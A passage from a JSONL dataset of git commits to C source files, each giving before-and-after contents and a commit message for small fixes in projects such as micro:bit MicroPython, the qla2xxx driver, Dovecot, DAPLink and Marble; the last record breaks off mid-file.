{"commit":"ebbc4230bee4c02e6b33bc523d746f9225b3082d","old_file":"inc\/microbit\/MicroBitCustomConfig.h","new_file":"inc\/microbit\/MicroBitCustomConfig.h","old_contents":"\/**\n  * MicroBitCustomConfig.h\n  *\n  * This file is automatically included by the microbit DAL compilation\n  * process. Use this to define any custom configration options needed\n  * for your build of the micro:bit runtime.\n  *\n  * See microbit-dal\/inc\/MicroBitConfig.h for a complete list of options.\n  * Any options you define here will take prescedence over those defined there.\n  *\/\n\n#ifndef MICROBIT_CUSTOM_CONFIG_H\n#define MICROBIT_CUSTOM_CONFIG_H\n\n#define MICROBIT_HEAP_REUSE_SD      0\n#define MICROBIT_BLE_ENABLED        0\n#define MICROBIT_BLE_BLUEZONE       0\n#define MICROBIT_BLE_DFU_SERVICE    0\n#define MICROBIT_BLE_EVENT_SERVICE  0\n#define MICROBIT_BLE_DEVICE_INFORMATION_SERVICE     0\n#define MICROBIT_BLE_PAIRING_MODE   0\n\n#endif\n","new_contents":"\/**\n  * MicroBitCustomConfig.h\n  *\n  * This file is automatically included by the microbit DAL compilation\n  * process. Use this to define any custom configration options needed\n  * for your build of the micro:bit runtime.\n  *\n  * See microbit-dal\/inc\/MicroBitConfig.h for a complete list of options.\n  * Any options you define here will take prescedence over those defined there.\n  *\/\n\n#ifndef MICROBIT_CUSTOM_CONFIG_H\n#define MICROBIT_CUSTOM_CONFIG_H\n\n#define MICROBIT_HEAP_REUSE_SD      0\n#define MICROBIT_BLE_ENABLED        0\n#define MICROBIT_BLE_BLUEZONE       0\n#define MICROBIT_BLE_DFU_SERVICE    0\n#define MICROBIT_BLE_EVENT_SERVICE  0\n#define MICROBIT_BLE_DEVICE_INFORMATION_SERVICE     0\n#define MICROBIT_BLE_PAIRING_MODE   0\n#define MICROBIT_RADIO_ENABLED      0\n\n#endif\n","subject":"Disable the DAL's radio IRQ handler so we can use our own.","message":"Disable the DAL's radio IRQ handler so we can use our own.\n","lang":"C","license":"mit","repos":"JoeGlancy\/micropython,JoeGlancy\/micropython,JoeGlancy\/micropython"}
{"commit":"3869a1728808fc9e075d0091bb03826fa6ed58b0","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k8\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k9\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.02.01-k9.","message":"[SCSI] qla2xxx: Update version number to 8.02.01-k9.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@HansenPartnership.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"15a3758dc9e1c9d862e46acdf607de70c302fa6a","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.05-k4\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t5\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.07-k1\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t7\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.01.07-k1.","message":"[SCSI] qla2xxx: Update version number to 8.01.07-k1.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@SteelEye.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"2d18ac2cf8aa2503545d0bd4d3ff883c407ccd99","old_file":"src\/assert.c","new_file":"src\/assert.c","old_contents":"static char rcsid[] = \"$Id: H:\/drh\/idioms\/book\/RCS\/except.doc,v 1.10 1997\/02\/21 19:43:55 drh Exp $\";\n#include \"assert.h\"\nconst Except_T Assert_Failed = { \"Assertion failed\" };\nvoid (assert)(int e) {\n\tassert(e);\n}\n","new_contents":"\/**\n * assert.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n#include \"assert.h\"\n\nconst Except_T Assert_Failed = {\n\t\"Assertion failed\"\n};\n\nvoid (assert)(int e) {\n\tassert(e);\n}\n","subject":"Update formatting, remove CII vars","message":"Update formatting, remove CII vars\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"48a21d9a1a91d1f4c15095ee848941df5bac0e8f","old_file":"src\/diskio.c","new_file":"src\/diskio.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include \"diskio.h\"\n\nchar* loadDataFromDiskFile(char* fileName) {\n    FILE* diskFile = fopen(fileName, \"rb\");\n    \n    if(diskFile == NULL)\n        return NULL;\n    \n    char* diskData = (char*)malloc(sizeof(char) * DISK_SIZE);\n\n    if(!fgets(diskData, DISK_SIZE, diskFile)) {\n        if(diskFile)\n            fclose(diskFile);\n        free(diskData);\n        return NULL;\n    }\n\n    fclose(diskFile);\n    return diskData;\n}\n\nint saveDiskFile(char* fileName, char* data) {\n    FILE* diskFile = fopen(fileName, \"wb\");\n\n    if(!diskFile)\n        return -1;\n\n    if(!fwrite(data, sizeof(char), DISK_SIZE, diskFile)) {\n        fclose(diskFile);\n        return -1;\n    }\n\n    fclose(diskFile);\n    return 1;\n}\n\nvoid freeDiskData(char* diskData) {\n    free(diskData);\n}\n\nchar* getSegmentData(char* data, int tracknum, int sectornum) {\n    return &data[\n        ((tracknum & TRACK_ID_MASK) * TRACK_SIZE) +\n        ((sectornum & SECTOR_ID_MASK) * SECTOR_SIZE)\n    ];\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include \"diskio.h\"\n\nchar* loadDataFromDiskFile(char* fileName) {\n    FILE* diskFile = fopen(fileName, \"rb\");\n    \n    if(diskFile == NULL)\n        return NULL;\n    \n    char* diskData = (char*)malloc(sizeof(char) * DISK_SIZE);\n\n    \/* TODO: Return null if bytes read is less than expected*\/\n    if(!fread(diskData, sizeof(char), DISK_SIZE, diskFile)){\n        if(diskFile)\n            fclose(diskFile);\n        free(diskData);\n        return NULL;\n    }\n\n    fclose(diskFile);\n    return diskData;\n}\n\nint saveDiskFile(char* fileName, char* data) {\n    FILE* diskFile = fopen(fileName, \"wb\");\n\n    if(!diskFile)\n        return -1;\n\n    if(!fwrite(data, sizeof(char), DISK_SIZE, diskFile)) {\n        fclose(diskFile);\n        return -1;\n    }\n\n    fclose(diskFile);\n    return 1;\n}\n\nvoid freeDiskData(char* diskData) {\n    free(diskData);\n}\n\nchar* getSegmentData(char* data, int tracknum, int sectornum) {\n    return &data[\n        ((tracknum & TRACK_ID_MASK) * TRACK_SIZE) +\n        ((sectornum & SECTOR_ID_MASK) * SECTOR_SIZE)\n    ];\n}\n","subject":"Use correct file io function for binary reads","message":"Use correct file io function for binary reads\n","lang":"C","license":"mit","repos":"drdanick\/apricos-fs-manager"}
{"commit":"01d189c2149e3a1bc84aef1e08d138aae553f51a","old_file":"include\/ethernet.h","new_file":"include\/ethernet.h","old_contents":"#ifndef ETHERNET_H_\n#define ETHERNET_H_\n#include <linux\/if_ether.h>\n\nstruct eth_hdr \n{\n    unsigned char dst_mac[6];\n    unsigned char src_mac[6];\n    unsigned short ethertype;\n    unsigned char* payload;\n};\n\nstruct eth_hdr* init_eth_hdr(char* buf);\nvoid print_eth_hdr(struct eth_hdr *ehdr);\n\n#endif\n","new_contents":"#ifndef ETHERNET_H_\n#define ETHERNET_H_\n#include <linux\/if_ether.h>\n\nstruct eth_hdr \n{\n    unsigned char dst_mac[6];\n    unsigned char src_mac[6];\n    unsigned short ethertype;\n    unsigned char payload[];\n};\n\nstruct eth_hdr* init_eth_hdr(char* buf);\nvoid print_eth_hdr(struct eth_hdr *ehdr);\n\n#endif\n","subject":"Fix wrong eth payload data type","message":"Fix wrong eth payload data type\n\nDeclaring a pointer here and type-casting the buffer to\na eth struct just overwrites the pointer with the payloads contents!\n\nOops!\n\nDeclaring a flexible array member is better.\nhttps:\/\/en.wikipedia.org\/wiki\/Flexible_array_member\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"c8467aa2b596b499d07951e729aa7932001e3257","old_file":"src\/imap\/cmd-logout.c","new_file":"src\/imap\/cmd-logout.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_logout(struct client *client)\n{\n\tclient_send_line(client, \"* BYE Logging out\");\n\n\tif (client->mailbox != NULL) {\n\t\t\/* this could be done at client_disconnect() as well,\n\t\t   but eg. mbox rewrite takes a while so the waiting is\n\t\t   better to happen before \"OK\" message. *\/\n\t\tmailbox_close(client->mailbox);\n\t\tclient->mailbox = NULL;\n\t}\n\n\tclient_send_tagline(client, \"OK Logout completed.\");\n\tclient_disconnect(client);\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_logout(struct client *client)\n{\n\tclient_send_line(client, \"* BYE Logging out\");\n\to_stream_uncork(client->output);\n\n\tif (client->mailbox != NULL) {\n\t\t\/* this could be done at client_disconnect() as well,\n\t\t   but eg. mbox rewrite takes a while so the waiting is\n\t\t   better to happen before \"OK\" message. *\/\n\t\tmailbox_close(client->mailbox);\n\t\tclient->mailbox = NULL;\n\t}\n\n\tclient_send_tagline(client, \"OK Logout completed.\");\n\tclient_disconnect(client);\n\treturn TRUE;\n}\n","subject":"Send the \"* BYE Logging out\" before closing mailbox.","message":"Send the \"* BYE Logging out\" before closing mailbox.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot,dscho\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch"}
{"commit":"ae9bf18bde6fd548f5e598cc33f2f99bbfb49d44","old_file":"source\/target\/siliconlabs\/efm32gg\/target_reset.c","new_file":"source\/target\/siliconlabs\/efm32gg\/target_reset.c","old_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"RTL.h\"\n#include \"debug_cm.h\"\n#include \"target_reset.h\"\n#include \"swd_host.h\"\n#include \"DAP_Config.h\"\n\nvoid target_before_init_debug(void) {\n    return;\n}\n\nuint8_t target_unlock_sequence(void) {\n    return 1;\n}\n\nuint8_t target_set_state(TARGET_RESET_STATE state) {\n    return swd_set_target_state_hw(state);\n}\n\nuint8_t security_bits_set(uint32_t addr, uint8_t *data, uint32_t size) {\n    return 0;\n}\n\n","new_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"RTL.h\"\n#include \"debug_cm.h\"\n#include \"target_reset.h\"\n#include \"swd_host.h\"\n#include \"DAP_Config.h\"\n\nvoid target_before_init_debug(void) {\n    return;\n}\n\nuint8_t target_unlock_sequence(void) {\n    return 1;\n}\n\nuint8_t target_set_state(TARGET_RESET_STATE state) {\n    return swd_set_target_state_sw(state);\n}\n\nuint8_t security_bits_set(uint32_t addr, uint8_t *data, uint32_t size) {\n    return 0;\n}\n\n","subject":"Change the EFM32 reset type to a software reset","message":"Change the EFM32 reset type to a software reset\n\nChange the reset type from a hardware reset to a software reset.\nIt appears that hardware resets cause the debug logic to get reset\ncausing a failure in the initialization sequence.  This needs to be\ninvestigated further.\n","lang":"C","license":"apache-2.0","repos":"sg-\/DAPLink,sg-\/DAPLink,sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port"}
{"commit":"5439e60468398c955f2448df853a11a8e36d9dcd","old_file":"link-grammar\/dict-common\/dict-impl.h","new_file":"link-grammar\/dict-common\/dict-impl.h","old_contents":"\n#include \"link-includes.h\"\n\n\/\/ Already declared in link-includes.h\n\/\/ const char * linkgrammar_get_dict_locale(Dictionary dict);\n\/\/ const char * linkgrammar_get_version(void);\n\/\/ const char * linkgrammar_get_dict_version(Dictionary dict);\n\nvoid dictionary_setup_locale(Dictionary dict);\nvoid dictionary_setup_defines(Dictionary dict);\nvoid afclass_init(Dictionary dict);\nbool afdict_init(Dictionary dict);\nvoid affix_list_add(Dictionary afdict, Afdict_class *, const char *);\n","new_contents":"\n#include \"link-includes.h\"\n#include \"utilities.h\"\n\n\/\/ Already declared in link-includes.h\n\/\/ const char * linkgrammar_get_dict_locale(Dictionary dict);\n\/\/ const char * linkgrammar_get_version(void);\n\/\/ const char * linkgrammar_get_dict_version(Dictionary dict);\n\nvoid dictionary_setup_locale(Dictionary dict);\nvoid dictionary_setup_defines(Dictionary dict);\nvoid afclass_init(Dictionary dict);\nbool afdict_init(Dictionary dict);\nvoid affix_list_add(Dictionary afdict, Afdict_class *, const char *);\n\n#ifdef __MINGW32__\nint callGetLocaleInfoEx(LPCWSTR, LCTYPE, LPWSTR, int);\n\n#endif \/* __MINGW32__ *\/\n","subject":"Add a missing prototype (callGetLocaleInfoEx())","message":"MinGW: Add a missing prototype (callGetLocaleInfoEx())\n","lang":"C","license":"lgpl-2.1","repos":"ampli\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,linas\/link-grammar,ampli\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar"}
{"commit":"5f0ef4eda80a6db44b091bb8693589ccba5544c6","old_file":"src\/lib\/marble\/geodata\/data\/GeoDataTimeStamp_p.h","new_file":"src\/lib\/marble\/geodata\/data\/GeoDataTimeStamp_p.h","old_contents":"\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2010      Harshit Jain <hjain.itbhu@gmail.com>\n\/\/\n\n#ifndef GEODATATIMESTAMPPRIVATE_H\n#define GEODATATIMESTAMPPRIVATE_H\n\n#include <QDateTime>\n\n#include \"GeoDataTypes.h\"\n#include <GeoDataTimeStamp.h>\n\nnamespace Marble\n{\n\nclass GeoDataTimeStampPrivate\n{\n  public:\n    QDateTime m_when;\n\n    GeoDataTimeStamp::TimeResolution m_resolution;\n};\n\n} \/\/ namespace Marble\n\n#endif \/\/GEODATATIMESTAMPPRIVATE_H\n\n","new_contents":"\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2010      Harshit Jain <hjain.itbhu@gmail.com>\n\/\/\n\n#ifndef GEODATATIMESTAMPPRIVATE_H\n#define GEODATATIMESTAMPPRIVATE_H\n\n#include <QDateTime>\n\n#include \"GeoDataTypes.h\"\n#include <GeoDataTimeStamp.h>\n\nnamespace Marble\n{\n\nclass GeoDataTimeStampPrivate\n{\n  public:\n    QDateTime m_when;\n\n    GeoDataTimeStamp::TimeResolution m_resolution;\n\n    GeoDataTimeStampPrivate();\n};\n\nGeoDataTimeStampPrivate::GeoDataTimeStampPrivate() :\n  m_resolution( GeoDataTimeStamp::SecondResolution )\n{\n  \/\/ nothing to do\n}\n\n} \/\/ namespace Marble\n\n#endif \/\/GEODATATIMESTAMPPRIVATE_H\n\n","subject":"Add missing initialization of time resolution","message":"Add missing initialization of time resolution\n","lang":"C","license":"lgpl-2.1","repos":"quannt24\/marble,probonopd\/marble,probonopd\/marble,probonopd\/marble,David-Gil\/marble-dev,tucnak\/marble,probonopd\/marble,David-Gil\/marble-dev,tzapzoor\/marble,quannt24\/marble,tzapzoor\/marble,quannt24\/marble,probonopd\/marble,tucnak\/marble,David-Gil\/marble-dev,tzapzoor\/marble,tzapzoor\/marble,tucnak\/marble,quannt24\/marble,tzapzoor\/marble,quannt24\/marble,tucnak\/marble,tzapzoor\/marble,quannt24\/marble,David-Gil\/marble-dev,tucnak\/marble,quannt24\/marble,tucnak\/marble,probonopd\/marble,tucnak\/marble,probonopd\/marble,David-Gil\/marble-dev,tzapzoor\/marble,tzapzoor\/marble,David-Gil\/marble-dev"}
{"commit":"b4baf13b85a2dff0525998cd3138d2433b25580b","old_file":"Other\/AardvarkDefines.h","new_file":"Other\/AardvarkDefines.h","old_contents":"\/\/\n\/\/  AardvarkDefines.h\n\/\/  Aardvark\n\/\/\n\/\/  Created by Dan Federman on 10\/4\/14.\n\/\/  Copyright (c) 2014 Square, Inc. All rights reserved.\n\/\/\n\n\/**\n Provides the ability to verify key paths at compile time.\n \n If \"keyPath\" does not exist, a compile-time error will be generated.\n \n Example:\n \/\/ Verifies \"isFinished\" exists on \"operation\".\n NSString *key = ARKKeyPath(operation, isFinished);\n \n \/\/ Verifies \"isFinished\" exists on self.\n NSString *key = ARKSelfKeyPath(isFinished);\n \n *\/\n#define ARKKeyPath(object, keyPath) \\\n    ({ if (NO) { (void)((object).keyPath); } @#keyPath; })\n\n#define ARKSelfKeyPath(keyPath) ARKKeyPath(self, keyPath)\n\n\n\/**\n Throws a caught exception and returns \"return_statement\" if \"condition\" is false.\n \n Example:\n ARKCheckCondition(isProperlyConfigured, nil, @\"Foo was not properly configured.\");\n \n *\/\n#define ARKCheckCondition(condition, result, desc, ...) \\\n    do { \\\n        if (!(condition)) { \\\n            @try { \\\n                NSAssert(condition, (desc), ##__VA_ARGS__); \\\n            } @catch (NSException *exception) { \\\n                NSLog(@\"Aardvark API Misuse: %s %@\", __PRETTY_FUNCTION__, exception.reason); \\\n                return result;\\\n            } \\\n        } \\\n    } while(0)","new_contents":"\/\/\n\/\/  AardvarkDefines.h\n\/\/  Aardvark\n\/\/\n\/\/  Created by Dan Federman on 10\/4\/14.\n\/\/  Copyright (c) 2014 Square, Inc. All rights reserved.\n\/\/\n\n\/**\n Provides the ability to verify key paths at compile time.\n \n If \"keyPath\" does not exist, a compile-time error will be generated.\n \n Example:\n \/\/ Verifies \"isFinished\" exists on \"operation\".\n NSString *key = ARKKeyPath(operation, isFinished);\n \n \/\/ Verifies \"isFinished\" exists on self.\n NSString *key = ARKSelfKeyPath(isFinished);\n \n *\/\n#define ARKKeyPath(object, keyPath) \\\n    ({ if (NO) { (void)((object).keyPath); } @#keyPath; })\n\n#define ARKSelfKeyPath(keyPath) ARKKeyPath(self, keyPath)\n\n\n\/**\n Throws a caught exception and returns \"return_statement\" if \"condition\" is false.\n \n Example:\n ARKCheckCondition(isProperlyConfigured, nil, @\"Foo was not properly configured.\");\n \n *\/\n#define ARKCheckCondition(condition, result, desc, ...) \\\n    do { \\\n        if (!(condition)) { \\\n            @try { \\\n                NSAssert(condition, (desc), ##__VA_ARGS__); \\\n            } @catch (NSException *exception) { \\\n                NSLog(@\"Aardvark API Misuse: %s %@\", __PRETTY_FUNCTION__, exception.reason); \\\n                return result;\\\n            } \\\n        } \\\n    } while(0)\n","subject":"Add newline to end of file","message":"Add newline to end of file\n","lang":"C","license":"apache-2.0","repos":"square\/Aardvark,square\/Aardvark,mtxs007\/Aardvark,square\/Aardvark,tinyspeck\/Aardvark,vamsirajendra\/Aardvark"}
{"commit":"44b3e6b16c70304cca687e7bc0bbd175f7400926","old_file":"include\/stdbool.h","new_file":"include\/stdbool.h","old_contents":"#ifndef _UCC_STDBOOL_H\n#define _UCC_STDBOOL_H\n\n#define __bool_true_false_are_defined 1\n\ntypedef _Bool bool;\n\n#define bool bool\n#define false 0\n#define true  1\n\n#endif\n","new_contents":"#ifndef _UCC_STDBOOL_H\n#define _UCC_STDBOOL_H\n\n#define __bool_true_false_are_defined 1\n\n#define bool _Bool\n\n#define false 0\n#define true  1\n\n#endif\n","subject":"Change bool to a macro instead of typedef","message":"Change bool to a macro instead of typedef\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"f455dfb106916d855d59686fe16575c2ceb2cb2a","old_file":"arch\/arm\/mach-shark\/include\/mach\/io.h","new_file":"arch\/arm\/mach-shark\/include\/mach\/io.h","old_contents":"\/*\n * arch\/arm\/mach-shark\/include\/mach\/io.h\n *\n * by Alexander Schulz\n *\n * derived from:\n * arch\/arm\/mach-ebsa110\/include\/mach\/io.h\n * Copyright (C) 1997,1998 Russell King\n *\/\n\n#ifndef __ASM_ARM_ARCH_IO_H\n#define __ASM_ARM_ARCH_IO_H\n\n#define PCIO_BASE\t0xe0000000\n#define IO_SPACE_LIMIT\t0xffffffff\n\n#define __io(a)\t\t__typesafe_io(PCIO_BASE + (a))\n#define __mem_pci(addr)\t(addr)\n\n#endif\n","new_contents":"\/*\n * arch\/arm\/mach-shark\/include\/mach\/io.h\n *\n * by Alexander Schulz\n *\n * derived from:\n * arch\/arm\/mach-ebsa110\/include\/mach\/io.h\n * Copyright (C) 1997,1998 Russell King\n *\/\n\n#ifndef __ASM_ARM_ARCH_IO_H\n#define __ASM_ARM_ARCH_IO_H\n\n#define PCIO_BASE\t0xe0000000\n#define IO_SPACE_LIMIT\t0xffffffff\n\n#define __io(a)\t\t__typesafe_io(PCIO_BASE + (a))\n\n#define __mem_pci(addr)\t(addr)\n\n#endif\n","subject":"Fix up merge with the ARM tree","message":"ASoC: Fix up merge with the ARM tree\n\nThe same change has been made with the final lines in slightly differnet\norders.\n\nSigned-off-by: Mark Brown <b51b9a92386687a9ac927cebfa0f978adeb8cea5@opensource.wolfsonmicro.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ce1c5ee0155b47403c63232a5e073929e6243897","old_file":"ruby\/ext\/bson\/native.c","new_file":"ruby\/ext\/bson\/native.c","old_contents":"#include <ruby.h>\n#include <stdint.h>\n\nstatic VALUE rb_integer_to_bson(VALUE self)\n{\n  const int32_t v = NUM2INT(self);\n  const char bytes[4] = { v & 255, (v >> 8) & 255, (v >> 16) & 255, (v >> 24) & 255 };\n  return rb_str_new(bytes, 4);\n}\n\nvoid Init_native()\n{\n  VALUE bson = rb_const_get(rb_cObject, rb_intern(\"BSON\"));\n\n  VALUE integer = rb_const_get(bson, rb_intern(\"Integer\"));\n  rb_remove_method(integer, \"to_bson\");\n  rb_define_method(integer, \"to_bson\", rb_integer_to_bson, 0);\n}\n","new_contents":"#include <ruby.h>\n#include <stdint.h>\n\nstatic VALUE rb_integer_to_bson(VALUE self)\n{\n  \/* const int32_t v = NUM2INT(self); *\/\n  \/* const char bytes[4] = { v & 255, (v >> 8) & 255, (v >> 16) & 255, (v >> 24) & 255 }; *\/\n  \/* return rb_str_new(bytes, 4); *\/\n}\n\nvoid Init_native()\n{\n  \/* VALUE bson = rb_const_get(rb_cObject, rb_intern(\"BSON\")); *\/\n\n  \/* VALUE integer = rb_const_get(bson, rb_intern(\"Integer\")); *\/\n  \/* rb_remove_method(integer, \"to_bson\"); *\/\n  \/* rb_define_method(integer, \"to_bson\", rb_integer_to_bson, 0); *\/\n}\n","subject":"Comment out the c for now","message":"Comment out the c for now\n","lang":"C","license":"apache-2.0","repos":"johnsimon\/bson-ruby,agis-\/bson-ruby,hudon\/bson-ruby,mongodb\/bson-ruby,mongodb\/bson-ruby,mongodb\/bson-ruby,estolfo\/bson-ruby,ukblewis\/bson-ruby,agis-\/bson-ruby,johnsimon\/bson-ruby,hudon\/bson-ruby,ukblewis\/bson-ruby,estolfo\/bson-ruby,agis-\/bson-ruby,ukblewis\/bson-ruby,mongodb\/bson-ruby,estolfo\/bson-ruby,ukblewis\/bson-ruby,hudon\/bson-ruby,johnsimon\/bson-ruby,estolfo\/bson-ruby"}
{"commit":"67d05f55509bf9bad5876e0d2dcd0a540543d199","old_file":"selftest.c","new_file":"selftest.c","old_contents":"#include <string.h>\n\n#include \"iobuf\/iobuf.h\"\n#include \"msg\/msg.h\"\n#include \"str\/str.h\"\n\nvoid NL(void) { obuf_putc(&outbuf, LF); }\n\nvoid debugstr(const str* s)\n{\n  obuf_puts(&outbuf, \"len=\");\n  obuf_putu(&outbuf, s->len);\n  obuf_puts(&outbuf, \" size=\");\n  obuf_putu(&outbuf, s->size);\n  if (s->s == 0)\n    obuf_puts(&outbuf, \" s is NULL\");\n  else {\n    obuf_puts(&outbuf, \" s=\");\n    obuf_putstr(&outbuf, s);\n  }\n  NL();\n}\n\nvoid debugstrfn(int result, const str* s)\n{\n  obuf_puts(&outbuf, \"result=\");\n  obuf_puti(&outbuf, result);\n  obuf_putc(&outbuf, ' ');\n  debugstr(s);\n}\n\nvoid debugfn(int result)\n{\n  obuf_puts(&outbuf, \"result=\");\n  obuf_puti(&outbuf, result);\n  NL();\n}\n\n#define MAIN void selftest(void)\nMAIN;\n\nint main(void)\n{\n  selftest();\n  obuf_flush(&outbuf);\n  return 0;\n}\n","new_contents":"#include <string.h>\n\n#include \"iobuf\/iobuf.h\"\n#include \"msg\/msg.h\"\n#include \"str\/str.h\"\n\nvoid NL(void) { obuf_putc(&outbuf, LF); }\n\nvoid debugstr(const str* s)\n{\n  obuf_puts(&outbuf, \"len=\");\n  obuf_putu(&outbuf, s->len);\n  obuf_puts(&outbuf, \" size=\");\n  obuf_putu(&outbuf, s->size);\n  if (s->s == 0)\n    obuf_puts(&outbuf, \" s is NULL\");\n  else {\n    obuf_puts(&outbuf, \" s=\");\n    obuf_putstr(&outbuf, s);\n  }\n  NL();\n}\n\nint debugstrfn(int result, const str* s)\n{\n  obuf_puts(&outbuf, \"result=\");\n  obuf_puti(&outbuf, result);\n  obuf_putc(&outbuf, ' ');\n  debugstr(s);\n  return result;\n}\n\nint debugfn(int result)\n{\n  